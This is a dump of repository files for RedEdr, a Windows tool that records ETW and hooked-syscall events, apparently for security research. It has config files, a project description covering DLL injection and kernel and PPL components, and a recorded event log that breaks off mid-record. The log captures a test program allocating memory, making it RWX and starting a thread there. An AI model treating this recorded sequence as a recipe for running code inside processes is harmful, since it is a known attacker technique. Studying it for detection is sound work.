[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\ntodo.txt\nazure_config.json\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Ww][Ii][Nn]32/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Oo]ut/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# ASP.NET Scaffolding\nScaffoldingReadMe.txt\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Coverlet is a free, cross platform Code Coverage Tool\ncoverage*.json\ncoverage*.xml\ncoverage*.info\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n#*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# Fody - auto-generated XML schema\nFodyWeavers.xsd"
  },
  {
    "path": "CLAUDE.md",
    "content": "# RedEdr\n\nRedEdr will record the events generated by a process. Either its ETW (-TI) events, \nor use ntdll hooking to record the syscalls. It will gather more information about \nthe process as needed. \n\n## Project Structure \n\nRedEdr is intended to be run as a long running process or service, which observes\nprocesses based on their names. \n\nIt consists of different components: \n* RedEdr: Records ETW, provides command line interface and web UI, and manages and orchastrates the other components\n* RedEdrDll: The DLL which will be injected in processes for hooking. Used by RedEdrDriver\n* RedEdrPplService: Records ETW-TI data as PPL\n* RedEdrDriver: Records kernel events, and performs DLL injection\n* RedEdrTester: Debug project to test some parts of RedEdr\n* elam_driver: An empty driver signed with a certificate. Required to load RedEdrPplService\n* Shared: C defines usable by all components\n* RedEdrShared: Some code shared by some components\n\nThe communication between components is implemented using Windows pipes. \n\n\n"
  },
  {
    "path": "Data/dostuff.events.json",
    "content": "[{\"callback\":\"process_create\",\"id\":0,\"krn_pid\":8500,\"name\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\",\"observe\":1,\"parent_name\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"pid\":1208,\"ppid\":8500,\"time\":133791868973812041,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":1,\"id\":1,\"krn_pid\":8500,\"pid\":1208,\"threadid\":6916,\"time\":133791868973822044,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":2,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973822044,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":3,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntdll.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973822044,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":4,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973822044,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":5,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\KernelBase.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973822044,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":6,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\advapi32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":7,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcrt.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":1,\"id\":8,\"krn_pid\":1208,\"pid\":1208,\"threadid\":11092,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":9,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\sechost.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":10,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\rpcrt4.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":11,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcrypt.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":12,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp140d.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":13,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ole32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"dlls\":[{\"addr\":140700730916864,\"name\":\"RedEdrTester.exe\",\"size\":1630208},{\"addr\":140722540838912,\"name\":\"ntdll.dll\",\"size\":2064384},{\"addr\":140722507939840,\"name\":\"KERNEL32.DLL\",\"size\":794624},{\"addr\":140722497912832,\"name\":\"KERNELBASE.dll\",\"size\":3137536},{\"addr\":140722518163456,\"name\":\"ADVAPI32.dll\",\"size\":724992},{\"addr\":140722520195072,\"name\":\"msvcrt.dll\",\"size\":647168},{\"addr\":140722529697792,\"name\":\"sechost.dll\",\"size\":651264},{\"addr\":140722510561280,\"name\":\"RPCRT4.dll\",\"size\":1191936},{\"addr\":140722502238208,\"name\":\"bcrypt.dll\",\"size\":159744}],\"id\":14,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"loaded_dll\"},{\"callback\":\"image_load\",\"id\":15,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbase.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"kernel\"},{\"commandline\":\"\\\"C:\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\\\" dostuff\",\"id\":16,\"image_base\":140700730916864,\"image_path\":\"C:\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\",\"is_debugged\":0,\"is_protected_process\":0,\"is_protected_process_light\":0,\"parent_pid\":-3689348818177875660,\"time\":133791868973842059,\"trace_id\":41,\"type\":\"peb\",\"working_dir\":\"C:\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\\"},{\"callback\":\"image_load\",\"id\":17,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\combase.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":18,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":19,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\win32u.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":20,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32full.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":21,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp_win.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":22,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\user32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":23,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140d.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":24,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140_1d.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":25,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbased.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973852040,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":26,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\imm32.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973872050,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":27,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\RedEdr\\\\RedEdrDll.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973882045,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"image_load\",\"id\":28,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\dbghelp.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868973892035,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":1,\"id\":29,\"krn_pid\":1208,\"pid\":1208,\"threadid\":3196,\"time\":133791868973902041,\"trace_id\":41,\"type\":\"kernel\"},{\"func\":\"hooking_start\",\"id\":30,\"pid\":1208,\"tid\":6916,\"trace_id\":41,\"type\":\"dll\"},{\"func\":\"hooking_finished\",\"id\":31,\"pid\":1208,\"tid\":6916,\"trace_id\":41,\"type\":\"dll\"},{\"addr\":2470295011328,\"alloc_type\":4096,\"func\":\"NtAllocateVirtualMemory\",\"handle\":-1,\"id\":32,\"pid\":1208,\"protect\":\"RW-\",\"return\":0,\"size\":8192,\"size_req\":8192,\"tid\":6916,\"time\":133791868973902041,\"trace_id\":41,\"type\":\"dll\",\"zero\":0},{\"addr\":2470295019520,\"alloc_type\":4096,\"func\":\"NtAllocateVirtualMemory\",\"handle\":-1,\"id\":33,\"pid\":1208,\"protect\":\"RW-\",\"return\":0,\"size\":4096,\"size_req\":4096,\"tid\":6916,\"time\":133791868973902041,\"trace_id\":41,\"type\":\"dll\",\"zero\":0},{\"addr\":2470294257664,\"alloc_type\":12288,\"func\":\"NtAllocateVirtualMemory\",\"handle\":-1,\"id\":34,\"pid\":1208,\"protect\":\"RW-\",\"return\":0,\"size\":4096,\"size_req\":3,\"tid\":6916,\"time\":133791868979062050,\"trace_id\":41,\"type\":\"dll\",\"zero\":0},{\"callback\":\"image_load\",\"id\":35,\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcryptprimitives.dll\",\"krn_pid\":1208,\"pid\":1208,\"time\":133791868979062050,\"trace_id\":41,\"type\":\"kernel\"},{\"addr\":2470294257664,\"callstack\":[{\"addr\":140721970334572,\"addr_info\":\"Unknown\",\"idx\":0,\"page_addr\":140721970331648,\"protect\":\"R-X\",\"size\":139264,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140721970362881,\"addr_info\":\"Unknown\",\"idx\":1,\"page_addr\":140721970360320,\"protect\":\"R-X\",\"size\":110592,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498356982,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":2,\"page_addr\":140722498355200,\"protect\":\"R-X\",\"size\":843776,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140700732029427,\"addr_info\":\"RedEdrTester.exe:.text\",\"idx\":3,\"page_addr\":140700732026880,\"protect\":\"R-X\",\"size\":159744,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140700732031462,\"addr_info\":\"RedEdrTester.exe:.text\",\"idx\":4,\"page_addr\":140700732030976,\"protect\":\"R-X\",\"size\":155648,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140700732110521,\"addr_info\":\"RedEdrTester.exe:.text\",\"idx\":5,\"page_addr\":140700732108800,\"protect\":\"R-X\",\"size\":77824,\"state\":1662004296,\"type\":\"IMAGE\"}],\"func\":\"NtProtectVirtualMemory\",\"handle\":-1,\"id\":36,\"pid\":1208,\"protect\":\"RWX\",\"return\":0,\"size\":4096,\"tid\":6916,\"time\":133791868979062050,\"trace_id\":41,\"type\":\"dll\"},{\"callback\":\"thread_create\",\"create\":1,\"id\":37,\"krn_pid\":1208,\"pid\":1208,\"threadid\":5680,\"time\":133791868979492052,\"trace_id\":41,\"type\":\"kernel\"},{\"argument\":2470294257664,\"callstack\":[{\"addr\":140721970334572,\"addr_info\":\"Unknown\",\"idx\":0,\"page_addr\":140721970331648,\"protect\":\"R-X\",\"size\":139264,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140721970351516,\"addr_info\":\"Unknown\",\"idx\":1,\"page_addr\":140721970348032,\"protect\":\"R-X\",\"size\":122880,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498157487,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":2,\"page_addr\":140722498154496,\"protect\":\"R-X\",\"size\":1044480,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722508052765,\"addr_info\":\"KERNEL32.DLL:.text\",\"idx\":3,\"page_addr\":140722508050432,\"protect\":\"R-X\",\"size\":421888,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140700732029491,\"addr_info\":\"RedEdrTester.exe:.text\",\"idx\":4,\"page_addr\":140700732026880,\"protect\":\"R-X\",\"size\":159744,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140700732031462,\"addr_info\":\"RedEdrTester.exe:.text\",\"idx\":5,\"page_addr\":140700732030976,\"protect\":\"R-X\",\"size\":155648,\"state\":1662004296,\"type\":\"IMAGE\"}],\"func\":\"NtCreateThreadEx\",\"handle\":-1,\"id\":38,\"pid\":1208,\"start_routine\":2470294257664,\"thread_handle\":376,\"tid\":6916,\"time\":133791868979492052,\"trace_id\":41,\"type\":\"dll\"},{\"desired_access\":2031619,\"event_type\":0,\"func\":\"NtCreateEvent\",\"id\":39,\"initial_state\":0,\"pid\":1208,\"tid\":5680,\"time\":133791868979502041,\"trace_id\":41,\"type\":\"dll\"},{\"desired_access\":2031619,\"event_type\":0,\"func\":\"NtCreateEvent\",\"id\":40,\"initial_state\":0,\"pid\":1208,\"tid\":5680,\"time\":133791868979502041,\"trace_id\":41,\"type\":\"dll\"},{\"access_mask\":983047,\"alloc_attributes\":134217728,\"callstack\":[{\"addr\":140721970334572,\"addr_info\":\"Unknown\",\"idx\":0,\"page_addr\":140721970331648,\"protect\":\"R-X\",\"size\":139264,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140721970348392,\"addr_info\":\"Unknown\",\"idx\":1,\"page_addr\":140721970348032,\"protect\":\"R-X\",\"size\":122880,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498144289,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":2,\"page_addr\":140722498142208,\"protect\":\"R-X\",\"size\":1056768,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498145856,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":3,\"page_addr\":140722498142208,\"protect\":\"R-X\",\"size\":1056768,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722508405615,\"addr_info\":\"KERNEL32.DLL:.text\",\"idx\":4,\"page_addr\":140722508402688,\"protect\":\"R-X\",\"size\":69632,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722508405142,\"addr_info\":\"KERNEL32.DLL:.text\",\"idx\":5,\"page_addr\":140722508402688,\"protect\":\"R-X\",\"size\":69632,\"state\":1662004296,\"type\":\"IMAGE\"}],\"file_handle\":0,\"func\":\"NtCreateSection\",\"id\":41,\"max_size\":686538352688,\"page_protection\":4,\"pid\":1208,\"section_handle\":408,\"tid\":5680,\"time\":133791868979502041,\"trace_id\":41,\"type\":\"dll\"},{\"alloc_type\":0,\"base_address\":0,\"callstack\":[{\"addr\":140721970334572,\"addr_info\":\"Unknown\",\"idx\":0,\"page_addr\":140721970331648,\"protect\":\"R-X\",\"size\":139264,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140721970358498,\"addr_info\":\"Unknown\",\"idx\":1,\"page_addr\":140721970356224,\"protect\":\"R-X\",\"size\":114688,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498355462,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":2,\"page_addr\":140722498355200,\"protect\":\"R-X\",\"size\":843776,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722498355166,\"addr_info\":\"KERNELBASE.dll:.text\",\"idx\":3,\"page_addr\":140722498351104,\"protect\":\"R-X\",\"size\":847872,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722508405678,\"addr_info\":\"KERNEL32.DLL:.text\",\"idx\":4,\"page_addr\":140722508402688,\"protect\":\"R-X\",\"size\":69632,\"state\":1662004296,\"type\":\"IMAGE\"},{\"addr\":140722508405142,\"addr_info\":\"KERNEL32.DLL:.text\",\"idx\":5,\"page_addr\":140722508402688,\"protect\":\"R-X\",\"size\":69632,\"state\":1662004296,\"type\":\"IMAGE\"}],\"func\":\"NtMapViewOfSection\",\"handle\":-1,\"id\":42,\"inherit_disposition\":1,\"pid\":1208,\"protect\":\"RW-\",\"section_handle\":408,\"section_offset\":0,\"size\":0,\"tid\":5680,\"time\":133791868979502041,\"trace_id\":41,\"type\":\"dll\",\"view_size\":0,\"zero_bits\":0},{\"addr\":2470294519808,\"alloc_type\":4096,\"func\":\"NtAllocateVirtualMemory\",\"handle\":-1,\"id\":43,\"pid\":1208,\"protect\":\"RW-\",\"return\":0,\"size\":4096,\"size_req\":12,\"tid\":5680,\"time\":133791868979512065,\"trace_id\":41,\"type\":\"dll\",\"zero\":0},{\"DefaultBase\":\"00007FF771160000\",\"ImageBase\":\"00007FF771160000\",\"ImageCheckSum\":\"0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\",\"ImageSize\":\"000000000018E000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1734703906\",\"event\":\"ImageLoadInfo \",\"id\":44,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801355267,18446735283801354603,18446735283798965368,18446735283798965216,140722541153392],\"thread_id\":6916,\"time\":133791868973826131,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC850F0000\",\"ImageBase\":\"00007FFC850F0000\",\"ImageCheckSum\":\"2047181\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntdll.dll\",\"ImageSize\":\"00000000001F8000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1754238027\",\"event\":\"ImageLoadInfo \",\"id\":45,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801355528,18446735283801354603,18446735283798965368,18446735283798965216,140722541153392],\"thread_id\":6916,\"time\":133791868973826763,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83190000\",\"ImageBase\":\"00007FFC83190000\",\"ImageCheckSum\":\"811940\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel32.dll\",\"ImageSize\":\"00000000000C2000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2273328705\",\"event\":\"ImageLoadInfo 